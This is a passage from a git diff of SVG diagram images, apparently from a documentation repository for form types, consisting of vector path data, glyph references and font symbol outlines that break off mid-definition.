6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 50.528h20.4M34.052 52.528h20.4M34.052 50.528a.3.3 0 0 0-.3.3M54.752 50.828a.3.3 0 0 0-.3-.3M33.752 50.828v1.4M54.752 50.828v1.4M33.752 52.228a.3.3 0 0 0 .3.3M54.452 52.528a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M190.813 242.434h223.101v21.25H190.813zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#F" x="190.813" y="258.684"/><use xlink:href="#B" x="199.328" y="258.684"/><use xlink:href="#p" x="207.16" y="258.684"/><use xlink:href="#m" x="214.367" y="258.684"/><use xlink:href="#l" x="219.738" y="258.684"/><use xlink:href="#A" x="224.68" y="258.684"/><use xlink:href="#n" x="236.398" y="258.684"/><use xlink:href="#C" x="243.84" y="258.684"/><use xlink:href="#l" x="251.75" y="258.684"/><use xlink:href="#s" x="256.691" y="258.684"/><use xlink:href="#o" x="258.43" y="258.684"/><use xlink:href="#r" x="262.238" y="258.684"/><use xlink:href="#G" x="268.313" y="258.684"/><use xlink:href="#H" x="276.125" y="258.684"/><use xlink:href="#l" x="280.031" y="258.684"/><use xlink:href="#n" x="284.855" y="258.684"/><use xlink:href="#s" x="292.297" y="258.684"/><use xlink:href="#o" x="294.035" y="258.684"/><use xlink:href="#G" x="297.844" y="258.684"/><use xlink:href="#C" x="305.656" y="258.684"/><use xlink:href="#H" x="313.566" y="258.684"/><use xlink:href="#l" x="317.473" y="258.684"/><use xlink:href="#s" x="322.414" y="258.684"/><use xlink:href="#o" x="324.152" y="258.684"/><use xlink:href="#w" x="327.961" y="258.684"/><use xlink:href="#G" x="335.773" y="258.684"/><use xlink:href="#H" x="343.586" y="258.684"/><use xlink:href="#I" x="347.492" y="258.684"/><use xlink:href="#q" x="351.691" y="258.684"/><use xlink:href="#H" x="359.484" y="258.684"/><use xlink:href="#C" x="363.391" y="258.684"/><use xlink:href="#J" x="371.301" y="258.684"/><use xlink:href="#s" x="379.074" y="258.684"/><use xlink:href="#o" x="380.813" y="258.684"/><use xlink:href="#K" x="384.621" y="258.684"/><use xlink:href="#x" x="393.059" y="258.684"/><use xlink:href="#x" x="400.832" y="258.684"/><use xlink:href="#m" x="408.605" y="258.684"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M148.91 290.793h27.399v23.852H148.91zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#L" x="149.242" y="309.043"/><use xlink:href="#h" x="158.383" y="309.043"/><use xlink:href="#M" x="162.875" y="309.043"/><use xlink:href="#N" x="168.305" y="309.043"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 281.52h188v40h-188zM197.313 287.52v-6c-3.313 0-6 2.683-6 6zM385.313 287.52h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 287.52h200v28h-200zM197.313 315.52h-6c0 3.312 2.687 6 6 6zM385.313 315.52v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 54.703h9.4M34.052 56.703h9.4M34.052 54.703a.3.3 0 0 0-.3.3M43.752 55.003a.3.3 0 0 0-.3-.3M33.752 55.003v1.4M43.752 55.003v1.4M33.752 56.403a.3.3 0 0 0 .3.3M43.452 56.703a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M113.96 362.023h62.353v23.852H113.96zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#O" x="114.887" y="380.273"/><use xlink:href="#P" x="123.793" y="380.273"/><use xlink:href="#Q" x="128.559" y="380.273"/><use xlink:href="#f" x="137.465" y="380.273"/><use xlink:href="#L" x="141.352" y="380.273"/><use xlink:href="#R" x="149.945" y="380.273"/><use xlink:href="#b" x="158.852" y="380.273"/><use xlink:href="#d" x="167.758" y="380.273"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 352.746h108v40h-108zM197.313 358.746v-6c-3.313 0-6 2.688-6 6zM305.313 358.746h6c0-3.312-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 358.746h120v28h-120zM197.313 386.746h-6c0 3.317 2.687 6 6 6zM305.313 386.746v6c3.312 0 6-2.683 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 58.264h5.4M34.052 60.264h5.4M34.052 58.264a.3.3 0 0 0-.3.3M39.752 58.564a.3.3 0 0 0-.3-.3M33.752 58.564v1.4M39.752 58.564v1.4M33.752 59.964a.3.3 0 0 0 .3.3M39.452 60.264a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.313 281.52h128v40h-128zM477.313 287.52v-6c-3.313 0-6 2.683-6 6zM605.313 287.52h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M471.313 287.52h140v28h-140zM477.313 315.52h-6c0 3.312 2.687 6 6 6zM605.313 315.52v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M48.052 54.703h6.4M48.052 56.703h6.4M48.052 54.703a.3.3 0 0 0-.3.3M54.752 55.003a.3.3 0 0 0-.3-.3M47.752 55.003v1.4M54.752 55.003v1.4M47.752 56.403a.3.3 0 0 0 .3.3M54.452 56.703a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M422.512 290.793h37.8v23.852h-37.8zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#S" x="423.066" y="309.043"/><use xlink:href="#M" x="431.855" y="309.043"/><use xlink:href="#T" x="437.676" y="309.043"/><use xlink:href="#M" x="445.938" y="309.043"/><use xlink:href="#d" x="451.758" y="309.043"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m27.9 42.973.006 1.899" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M27.906 44.872a.269.269 0 0 1-.251-.25c0-.124.124-.25.25-.25a.27.27 0 0 1 .25.25c0 .124-.124.25-.25.25" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m46.275 43.802-.026 5.672" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M46.25 49.474a.269.269 0 0 1-.25-.251c0-.125.126-.25.251-.249.125 0 .25.126.25.251-.002.125-.127.25-.252.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M519.305 458.691h176.699v21.25h-176.7zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="519.305" y="474.941"/><use xlink:href="#x" x="527.137" y="474.941"/><use xlink:href="#r" x="534.91" y="474.941"/><use xlink:href="#l" x="540.984" y="474.941"/><use xlink:href="#p" x="545.926" y="474.941"/><use xlink:href="#I" x="553.133" y="474.941"/><use xlink:href="#U" x="557.332" y="474.941"/><use xlink:href="#p" x="563.348" y="474.941"/><use xlink:href="#q" x="570.555" y="474.941"/><use xlink:href="#q" x="578.348" y="474.941"/><use xlink:href="#m" x="586.141" y="474.941"/><use xlink:href="#n" x="591.082" y="474.941"/><use xlink:href="#r" x="598.523" y="474.941"/><use xlink:href="#r" x="604.598" y="474.941"/><use xlink:href="#U" x="610.672" y="474.941"/><use xlink:href="#r" x="616.688" y="474.941"/><use xlink:href="#l" x="622.762" y="474.941"/><use xlink:href="#p" x="627.703" y="474.941"/><use xlink:href="#l" x="634.91" y="474.941"/><use xlink:href="#n" x="639.734" y="474.941"/><use xlink:href="#U" x="647.176" y="474.941"/><use xlink:href="#V" x="653.191" y="474.941"/><use xlink:href="#H" x="663.816" y="474.941"/><use xlink:href="#q" x="667.723" y="474.941"/><use xlink:href="#J" x="675.516" y="474.941"/><use xlink:href="#n" x="683.289" y="474.941"/><use xlink:href="#l" x="690.73" y="474.941"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M44.988 24.355H165.84v21.25H44.988zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="44.988" y="40.605"/><use xlink:href="#x" x="52.82" y="40.605"/><use xlink:href="#r" x="60.594" y="40.605"/><use xlink:href="#l" x="66.668" y="40.605"/><use xlink:href="#p" x="71.609" y="40.605"/><use xlink:href="#I" x="78.816" y="40.605"/><use xlink:href="#U" x="83.016" y="40.605"/><use xlink:href="#p" x="89.031" y="40.605"/><use xlink:href="#q" x="96.238" y="40.605"/><use xlink:href="#q" x="104.031" y="40.605"/><use xlink:href="#m" x="111.824" y="40.605"/><use xlink:href="#n" x="116.766" y="40.605"/><use xlink:href="#r" x="124.207" y="40.605"/><use xlink:href="#r" x="130.281" y="40.605"/><use xlink:href="#U" x="136.355" y="40.605"/><use xlink:href="#m" x="142.371" y="40.605"/><use xlink:href="#x" x="147.313" y="40.605"/><use xlink:href="#V" x="154.949" y="40.605"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M311.148 41.605H524.5v21.25H311.148zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="311.148" y="57.855"/><use xlink:href="#x" x="318.98" y="57.855"/><use xlink:href="#r" x="326.754" y="57.855"/><use xlink:href="#l" x="332.828" y="57.855"/><use xlink:href="#p" x="337.77" y="57.855"/><use xlink:href="#I" x="344.977" y="57.855"/><use xlink:href="#U" x="349.176" y="57.855"/><use xlink:href="#p" x="355.191" y="57.855"/><use xlink:href="#q" x="362.398" y="57.855"/><use xlink:href="#q" x="370.191" y="57.855"/><use xlink:href="#m" x="377.984" y="57.855"/><use xlink:href="#n" x="382.926" y="57.855"/><use xlink:href="#r" x="390.367" y="57.855"/><use xlink:href="#r" x="396.441" y="57.855"/><use xlink:href="#U" x="402.516" y="57.855"/><use xlink:href="#p" x="408.531" y="57.855"/><use xlink:href="#q" x="415.738" y="57.855"/><use xlink:href="#q" x="423.531" y="57.855"/><use xlink:href="#m" x="431.324" y="57.855"/><use xlink:href="#n" x="436.266" y="57.855"/><use xlink:href="#r" x="443.707" y="57.855"/><use xlink:href="#r" x="449.781" y="57.855"/><use xlink:href="#W" x="455.855" y="57.855"/><use xlink:href="#H" x="463.316" y="57.855"/><use xlink:href="#C" x="467.223" y="57.855"/><use xlink:href="#n" x="475.133" y="57.855"/><use xlink:href="#X" x="482.574" y="57.855"/><use xlink:href="#U" x="490.68" y="57.855"/><use xlink:href="#Y" x="496.695" y="57.855"/><use xlink:href="#n" x="504.625" y="57.855"/><use xlink:href="#I" x="512.066" y="57.855"/><use xlink:href="#B" x="516.266" y="57.855"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M54.402 467.422h183.602v21.25H54.402zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="54.402" y="483.672"/><use xlink:href="#x" x="62.234" y="483.672"/><use xlink:href="#r" x="70.008" y="483.672"/><use xlink:href="#l" x="76.082" y="483.672"/><use xlink:href="#p" x="81.023" y="483.672"/><use xlink:href="#I" x="88.23" y="483.672"/><use xlink:href="#U" x="92.43" y="483.672"/><use xlink:href="#p" x="98.445" y="483.672"/><use xlink:href="#q" x="105.652" y="483.672"/><use xlink:href="#q" x="113.445" y="483.672"/><use xlink:href="#m" x="121.238" y="483.672"/><use xlink:href="#n" x="126.18" y="483.672"/><use xlink:href="#r" x="133.621" y="483.672"/><use xlink:href="#r" x="139.695" y="483.672"/><use xlink:href="#U" x="145.77" y="483.672"/><use xlink:href="#Z" x="151.785" y="483.672"/><use xlink:href="#H" x="158.27" y="483.672"/><use xlink:href="#B" x="162.176" y="483.672"/><use xlink:href="#aa" x="170.008" y="483.672"/><use xlink:href="#x" x="177.781" y="483.672"/><use xlink:href="#q" x="185.555" y="483.672"/><use xlink:href="#n" x="193.348" y="483.672"/><use xlink:href="#U" x="200.789" y="483.672"/><use xlink:href="#I" x="206.805" y="483.672"/><use xlink:href="#p" x="211.004" y="483.672"/><use xlink:href="#w" x="218.211" y="483.672"/><use xlink:href="#n" x="226.023" y="483.672"/><use xlink:href="#I" x="233.465" y="483.672"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m53.803 63.6.026-7.133" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M53.83 56.467c.124 0 .249.126.248.251 0 .125-.126.25-.25.25a.269.269 0 0 1-.25-.252c0-.125.126-.25.251-.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m29.356 63.968.027-4.877" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M29.383 59.091c.125 0 .25.127.248.252 0 .125-.126.249-.251.248a.269.269 0 0 1-.249-.251c.001-.125.127-.25.252-.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/></svg>
diff --git a/_images/form/form-custom-type-postal-address.svg b/_images/form/form-custom-type-postal-address.svg
index ab0fde8af3a..42ffce4067f 100644
--- a/_images/form/form-custom-type-postal-address.svg
+++ b/_images/form/form-custom-type-postal-address.svg
@@ -1 +1 @@
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 707 478"><defs><symbol overflow="visible" id="a"><path d="M 1.28125 -13.859375 C 1.707031 -13.984375 2.160156 -14.0625 2.640625 -14.09375 C 3.117188 -14.132812 3.59375 -14.15625 4.0625 -14.15625 C 4.59375 -14.15625 5.117188 -14.09375 5.640625 -13.96875 C 6.160156 -13.851562 6.628906 -13.632812 7.046875 -13.3125 C 7.472656 -13 7.8125 -12.5625 8.0625 -12 C 8.320312 -11.4375 8.453125 -10.722656 8.453125 -9.859375 C 8.453125 -9.015625 8.328125 -8.300781 8.078125 -7.71875 C 7.835938 -7.132812 7.515625 -6.65625 7.109375 -6.28125 C 6.703125 -5.914062 6.234375 -5.648438 5.703125 -5.484375 C 5.179688 -5.316406 4.640625 -5.234375 4.078125 -5.234375 C 4.023438 -5.234375 3.9375 -5.234375 3.8125 -5.234375 C 3.695312 -5.234375 3.570312 -5.238281 3.4375 -5.25 C 3.300781 -5.257812 3.171875 -5.269531 3.046875 -5.28125 C 2.921875 -5.289062 2.832031 -5.300781 2.78125 -5.3125 L 2.78125 0 L 1.28125 0 Z M 4.140625 -12.78125 C 3.867188 -12.78125 3.609375 -12.769531 3.359375 -12.75 C 3.117188 -12.726562 2.925781 -12.695312 2.78125 -12.65625 L 2.78125 -6.703125 C 2.832031 -6.671875 2.914062 -6.648438 3.03125 -6.640625 C 3.144531 -6.640625 3.257812 -6.632812 3.375 -6.625 C 3.5 -6.625 3.617188 -6.625 3.734375 -6.625 C 3.847656 -6.625 3.929688 -6.625 3.984375 -6.625 C 4.359375 -6.625 4.71875 -6.671875 5.0625 -6.765625 C 5.40625 -6.859375 5.707031 -7.023438 5.96875 -7.265625 C 6.238281 -7.515625 6.457031 -7.847656 6.625 -8.265625 C 6.789062 -8.691406 6.875 -9.222656 6.875 -9.859375 C 6.875 -10.421875 6.796875 -10.882812 6.640625 -11.25 C 6.492188 -11.625 6.296875 -11.925781 6.046875 -12.15625 C 5.804688 -12.382812 5.519531 -12.546875 5.1875 -12.640625 C 4.851562 -12.734375 4.503906 -12.78125 4.140625 -12.78125 Z M 4.140625 -12.78125"/></symbol><symbol overflow="visible" id="b"><path d="M 0.734375 -5 C 0.734375 -6.800781 1.039062 -8.125 1.65625 -8.96875 C 2.28125 -9.8125 3.164062 -10.234375 4.3125 -10.234375 C 5.539062 -10.234375 6.445312 -9.800781 7.03125 -8.9375 C 7.613281 -8.070312 7.90625 -6.757812 7.90625 -5 C 7.90625 -3.1875 7.585938 -1.859375 6.953125 -1.015625 C 6.328125 -0.179688 5.445312 0.234375 4.3125 0.234375 C 3.09375 0.234375 2.191406 -0.195312 1.609375 -1.0625 C 1.023438 -1.925781 0.734375 -3.238281 0.734375 -5 Z M 2.234375 -5 C 2.234375 -4.414062 2.269531 -3.882812 2.34375 -3.40625 C 2.414062 -2.925781 2.535156 -2.507812 2.703125 -2.15625 C 2.867188 -1.8125 3.085938 -1.539062 3.359375 -1.34375 C 3.628906 -1.15625 3.945312 -1.0625 4.3125 -1.0625 C 5.007812 -1.0625 5.53125 -1.367188 5.875 -1.984375 C 6.226562 -2.609375 6.40625 -3.613281 6.40625 -5 C 6.40625 -5.570312 6.367188 -6.097656 6.296875 -6.578125 C 6.222656 -7.066406 6.101562 -7.484375 5.9375 -7.828125 C 5.769531 -8.179688 5.550781 -8.453125 5.28125 -8.640625 C 5.007812 -8.835938 4.6875 -8.9375 4.3125 -8.9375 C 3.632812 -8.9375 3.117188 -8.625 2.765625 -8 C 2.410156 -7.375 2.234375 -6.375 2.234375 -5 Z M 2.234375 -5"/></symbol><symbol overflow="visible" id="c"><path d="M 1.015625 -1.640625 C 1.285156 -1.484375 1.601562 -1.347656 1.96875 -1.234375 C 2.332031 -1.117188 2.707031 -1.0625 3.09375 -1.0625 C 3.539062 -1.0625 3.914062 -1.171875 4.21875 -1.390625 C 4.53125 -1.609375 4.6875 -1.960938 4.6875 -2.453125 C 4.6875 -2.867188 4.59375 -3.207031 4.40625 -3.46875 C 4.21875 -3.738281 3.976562 -3.976562 3.6875 -4.1875 C 3.40625 -4.40625 3.097656 -4.601562 2.765625 -4.78125 C 2.429688 -4.96875 2.117188 -5.1875 1.828125 -5.4375 C 1.546875 -5.6875 1.3125 -5.984375 1.125 -6.328125 C 0.9375 -6.679688 0.84375 -7.125 0.84375 -7.65625 C 0.84375 -8.507812 1.070312 -9.148438 1.53125 -9.578125 C 1.988281 -10.015625 2.640625 -10.234375 3.484375 -10.234375 C 4.023438 -10.234375 4.492188 -10.179688 4.890625 -10.078125 C 5.296875 -9.984375 5.644531 -9.851562 5.9375 -9.6875 L 5.5625 -8.484375 C 5.3125 -8.617188 5.019531 -8.726562 4.6875 -8.8125 C 4.351562 -8.894531 4.007812 -8.9375 3.65625 -8.9375 C 3.175781 -8.9375 2.828125 -8.835938 2.609375 -8.640625 C 2.390625 -8.441406 2.28125 -8.128906 2.28125 -7.703125 C 2.28125 -7.367188 2.375 -7.082031 2.5625 -6.84375 C 2.75 -6.613281 2.984375 -6.398438 3.265625 -6.203125 C 3.554688 -6.015625 3.867188 -5.816406 4.203125 -5.609375 C 4.535156 -5.410156 4.84375 -5.175781 5.125 -4.90625 C 5.414062 -4.632812 5.65625 -4.304688 5.84375 -3.921875 C 6.03125 -3.546875 6.125 -3.070312 6.125 -2.5 C 6.125 -2.125 6.0625 -1.769531 5.9375 -1.4375 C 5.820312 -1.101562 5.640625 -0.8125 5.390625 -0.5625 C 5.140625 -0.320312 4.832031 -0.128906 4.46875 0.015625 C 4.101562 0.160156 3.675781 0.234375 3.1875 0.234375 C 2.59375 0.234375 2.082031 0.175781 1.65625 0.0625 C 1.226562 -0.0390625 0.867188 -0.1875 0.578125 -0.375 Z M 1.015625 -1.640625"/></symbol><symbol overflow="visible" id="d"><path d="M 0.1875 -10 L 1.40625 -10 L 1.40625 -11.984375 L 2.84375 -12.4375 L 2.84375 -10 L 5 -10 L 5 -8.703125 L 2.84375 -8.703125 L 2.84375 -2.734375 C 2.84375 -2.148438 2.910156 -1.726562 3.046875 -1.46875 C 3.191406 -1.207031 3.421875 -1.078125 3.734375 -1.078125 C 4.003906 -1.078125 4.234375 -1.109375 4.421875 -1.171875 C 4.617188 -1.234375 4.832031 -1.3125 5.0625 -1.40625 L 5.34375 -0.265625 C 5.050781 -0.117188 4.726562 -0.00390625 4.375 0.078125 C 4.019531 0.171875 3.648438 0.21875 3.265625 0.21875 C 2.597656 0.21875 2.117188 0.00390625 1.828125 -0.421875 C 1.546875 -0.859375 1.40625 -1.566406 1.40625 -2.546875 L 1.40625 -8.703125 L 0.1875 -8.703125 Z M 0.1875 -10"/></symbol><symbol overflow="visible" id="e"><path d="M 1.078125 -9.40625 C 1.460938 -9.644531 1.929688 -9.828125 2.484375 -9.953125 C 3.035156 -10.085938 3.617188 -10.15625 4.234375 -10.15625 C 4.796875 -10.15625 5.242188 -10.070312 5.578125 -9.90625 C 5.921875 -9.738281 6.191406 -9.507812 6.390625 -9.21875 C 6.585938 -8.9375 6.710938 -8.613281 6.765625 -8.25 C 6.828125 -7.882812 6.859375 -7.5 6.859375 -7.09375 C 6.859375 -6.300781 6.84375 -5.523438 6.8125 -4.765625 C 6.78125 -4.003906 6.765625 -3.28125 6.765625 -2.59375 C 6.765625 -2.09375 6.78125 -1.625 6.8125 -1.1875 C 6.84375 -0.757812 6.90625 -0.347656 7 0.046875 L 5.90625 0.046875 L 5.5625 -1.140625 L 5.484375 -1.140625 C 5.285156 -0.796875 4.988281 -0.492188 4.59375 -0.234375 C 4.207031 0.015625 3.691406 0.140625 3.046875 0.140625 C 2.316406 0.140625 1.722656 -0.109375 1.265625 -0.609375 C 0.804688 -1.109375 0.578125 -1.800781 0.578125 -2.6875 C 0.578125 -3.257812 0.671875 -3.738281 0.859375 -4.125 C 1.054688 -4.507812 1.332031 -4.820312 1.6875 -5.0625 C 2.039062 -5.300781 2.460938 -5.46875 2.953125 -5.5625 C 3.441406 -5.664062 3.984375 -5.71875 4.578125 -5.71875 C 4.710938 -5.71875 4.847656 -5.71875 4.984375 -5.71875 C 5.117188 -5.71875 5.257812 -5.710938 5.40625 -5.703125 C 5.4375 -6.109375 5.453125 -6.472656 5.453125 -6.796875 C 5.453125 -7.554688 5.335938 -8.085938 5.109375 -8.390625 C 4.890625 -8.703125 4.476562 -8.859375 3.875 -8.859375 C 3.5 -8.859375 3.09375 -8.800781 2.65625 -8.6875 C 2.21875 -8.570312 1.851562 -8.429688 1.5625 -8.265625 Z M 5.421875 -4.5625 C 5.285156 -4.570312 5.148438 -4.578125 5.015625 -4.578125 C 4.878906 -4.585938 4.75 -4.59375 4.625 -4.59375 C 4.300781 -4.59375 3.984375 -4.566406 3.671875 -4.515625 C 3.367188 -4.460938 3.097656 -4.367188 2.859375 -4.234375 C 2.617188 -4.109375 2.425781 -3.929688 2.28125 -3.703125 C 2.144531 -3.472656 2.078125 -3.1875 2.078125 -2.84375 C 2.078125 -2.3125 2.207031 -1.894531 2.46875 -1.59375 C 2.726562 -1.300781 3.066406 -1.15625 3.484375 -1.15625 C 4.035156 -1.15625 4.460938 -1.285156 4.765625 -1.546875 C 5.078125 -1.816406 5.296875 -2.113281 5.421875 -2.4375 Z M 5.421875 -4.5625"/></symbol><symbol overflow="visible" id="f"><path d="M 2.71875 -2.375 C 2.71875 -1.914062 2.78125 -1.582031 2.90625 -1.375 C 3.03125 -1.175781 3.207031 -1.078125 3.4375 -1.078125 C 3.71875 -1.078125 4.046875 -1.148438 4.421875 -1.296875 L 4.5625 -0.140625 C 4.382812 -0.0351562 4.140625 0.046875 3.828125 0.109375 C 3.515625 0.179688 3.234375 0.21875 2.984375 0.21875 C 2.472656 0.21875 2.0625 0.0625 1.75 -0.25 C 1.4375 -0.5625 1.28125 -1.113281 1.28125 -1.90625 L 1.28125 -14 L 2.71875 -14 Z M 2.71875 -2.375"/></symbol><symbol overflow="visible" id="g"><path d="M 6.65625 -3.921875 L 2.703125 -3.921875 L 1.578125 0 L 0.09375 0 L 4.3125 -14.21875 L 5.140625 -14.21875 L 9.359375 0 L 7.796875 0 Z M 3.09375 -5.265625 L 6.296875 -5.265625 L 5.078125 -9.578125 L 4.703125 -11.6875 L 4.65625 -11.6875 L 4.28125 -9.546875 Z M 3.09375 -5.265625"/></symbol><symbol overflow="visible" id="h"><path d="M 7.484375 -3.4375 C 7.484375 -2.757812 7.488281 -2.144531 7.5 -1.59375 C 7.507812 -1.039062 7.554688 -0.492188 7.640625 0.046875 L 6.65625 0.046875 L 6.34375 -1.15625 L 6.265625 -1.15625 C 6.078125 -0.757812 5.78125 -0.425781 5.375 -0.15625 C 4.976562 0.101562 4.5 0.234375 3.9375 0.234375 C 2.851562 0.234375 2.046875 -0.179688 1.515625 -1.015625 C 0.992188 -1.859375 0.734375 -3.179688 0.734375 -4.984375 C 0.734375 -6.691406 1.054688 -7.984375 1.703125 -8.859375 C 2.359375 -9.742188 3.25 -10.1875 4.375 -10.1875 C 4.757812 -10.1875 5.066406 -10.160156 5.296875 -10.109375 C 5.523438 -10.066406 5.773438 -9.988281 6.046875 -9.875 L 6.046875 -14 L 7.484375 -14 Z M 6.046875 -8.421875 C 5.859375 -8.578125 5.644531 -8.691406 5.40625 -8.765625 C 5.175781 -8.835938 4.867188 -8.875 4.484375 -8.875 C 3.773438 -8.875 3.222656 -8.550781 2.828125 -7.90625 C 2.429688 -7.269531 2.234375 -6.285156 2.234375 -4.953125 C 2.234375 -4.367188 2.269531 -3.835938 2.34375 -3.359375 C 2.414062 -2.890625 2.53125 -2.484375 2.6875 -2.140625 C 2.84375 -1.796875 3.039062 -1.53125 3.28125 -1.34375 C 3.53125 -1.15625 3.835938 -1.0625 4.203125 -1.0625 C 5.160156 -1.0625 5.773438 -1.628906 6.046875 -2.765625 Z M 6.046875 -8.421875"/></symbol><symbol overflow="visible" id="i"><path d="M 1.1875 -10 L 2.203125 -10 L 2.453125 -8.9375 L 2.515625 -8.9375 C 2.703125 -9.320312 2.945312 -9.625 3.25 -9.84375 C 3.550781 -10.070312 3.914062 -10.1875 4.34375 -10.1875 C 4.644531 -10.1875 4.988281 -10.125 5.375 -10 L 5.09375 -8.546875 C 4.75 -8.660156 4.445312 -8.71875 4.1875 -8.71875 C 3.757812 -8.71875 3.410156 -8.59375 3.140625 -8.34375 C 2.867188 -8.101562 2.695312 -7.773438 2.625 -7.359375 L 2.625 0 L 1.1875 0 Z M 1.1875 -10"/></symbol><symbol overflow="visible" id="j"><path d="M 7.15625 -0.6875 C 6.84375 -0.382812 6.4375 -0.15625 5.9375 0 C 5.445312 0.15625 4.925781 0.234375 4.375 0.234375 C 3.75 0.234375 3.207031 0.113281 2.75 -0.125 C 2.289062 -0.375 1.910156 -0.726562 1.609375 -1.1875 C 1.304688 -1.644531 1.082031 -2.191406 0.9375 -2.828125 C 0.800781 -3.472656 0.734375 -4.195312 0.734375 -5 C 0.734375 -6.707031 1.046875 -8.003906 1.671875 -8.890625 C 2.304688 -9.785156 3.195312 -10.234375 4.34375 -10.234375 C 4.71875 -10.234375 5.085938 -10.1875 5.453125 -10.09375 C 5.816406 -10 6.144531 -9.8125 6.4375 -9.53125 C 6.726562 -9.257812 6.960938 -8.867188 7.140625 -8.359375 C 7.328125 -7.847656 7.421875 -7.1875 7.421875 -6.375 C 7.421875 -6.15625 7.410156 -5.914062 7.390625 -5.65625 C 7.367188 -5.394531 7.34375 -5.125 7.3125 -4.84375 L 2.234375 -4.84375 C 2.234375 -4.269531 2.28125 -3.75 2.375 -3.28125 C 2.46875 -2.8125 2.613281 -2.410156 2.8125 -2.078125 C 3.019531 -1.753906 3.28125 -1.503906 3.59375 -1.328125 C 3.90625 -1.148438 4.296875 -1.0625 4.765625 -1.0625 C 5.117188 -1.0625 5.472656 -1.125 5.828125 -1.25 C 6.179688 -1.382812 6.453125 -1.546875 6.640625 -1.734375 Z M 6.046875 -6.046875 C 6.066406 -7.046875 5.921875 -7.773438 5.609375 -8.234375 C 5.304688 -8.703125 4.890625 -8.9375 4.359375 -8.9375 C 3.742188 -8.9375 3.253906 -8.703125 2.890625 -8.234375 C 2.535156 -7.773438 2.328125 -7.046875 2.265625 -6.046875 Z M 6.046875 -6.046875"/></symbol><symbol overflow="visible" id="k"><path d="M 8.65625 -12.625 L 5.21875 -12.625 L 5.21875 0 L 3.71875 0 L 3.71875 -12.625 L 0.28125 -12.625 L 0.28125 -14 L 8.65625 -14 Z M 8.65625 -12.625"/></symbol><symbol 